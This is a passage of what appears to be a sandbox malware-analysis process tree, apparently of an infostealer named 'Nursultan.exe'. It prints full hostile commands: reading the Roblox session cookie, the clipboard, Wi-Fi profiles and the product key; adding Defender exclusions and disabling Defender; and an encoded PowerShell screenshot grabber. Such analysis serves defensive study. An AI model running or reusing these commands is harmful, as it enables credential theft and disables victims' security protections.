    PID:116
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      PID:4764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:3016
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:4728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:2816
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:2264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:816
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:2812
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    PID:2236
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:4720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    PID:3536
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:2412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    PID:180
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4624
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\buk2aegh\buk2aegh.cmdline"
        5⤵
        
        PID:4544
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESC8AF.tmp" "c:\Users\Admin\AppData\Local\Temp\buk2aegh\CSCBFA282C7CF004DDDBA29715BB02B94FC.TMP"
        6⤵
        
        PID:3232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:4396
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    PID:4364
  - - C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:5060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:4824
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    PID:3320
  - - C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:2076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:116
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3864
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:4516
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:2396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:4012
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1316
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:2196
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:3840
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:1284
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2076
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4544
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    PID:644
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:2412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI41122\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\fy2os.zip" *"
    3⤵
    PID:1664
  - - C:\Users\Admin\AppData\Local\Temp\_MEI41122\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI41122\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\fy2os.zip" *
      4⤵
      Executes dropped EXE
      PID:5052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    PID:4312
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      PID:1412
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    PID:4736
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      PID:1628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:1688
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:404
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    PID:2196
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:5056
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:2112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:2624
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3424

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4424

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe cb168bf868fb310d202040f5a9183000 FFS+lB/a2EyGSsamqbIYgA.0.1.0.0.0
1⤵
PID:1316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:4544

C:\Users\Admin\AppData\Local\Temp\Nursultan.exe
"C:\Users\Admin\AppData\Local\Temp\Nursultan.exe"
1⤵
PID:2512
- C:\Users\Admin\AppData\Local\Temp\Nursultan.exe
  "C:\Users\Admin\AppData\Local\Temp\Nursultan.exe"
  2⤵
  - Drops file in Drivers directory
  - Loads dropped DLL
  PID:3056
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Nursultan.exe'"
    3⤵
    PID:448
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Nursultan.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    PID:3088
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:5012
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:3632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    PID:3052
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
    3⤵
    PID:452
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
      4⤵
      PID:1428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
    3⤵
    PID:1112
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
      4⤵
      PID:4980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:4332
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:3748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    PID:2536
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:3548
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‎.scr'"
    3⤵
    PID:1672
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‎.scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:984
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:4616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:2192
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:3596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    PID:844
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      PID:4828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:2820
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:1256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:540
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:1660
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:2196
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:4788
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:216
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    PID:4112
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:3032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    PID:2680
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:3496
- - C:\Windows\system32\cmd.exe
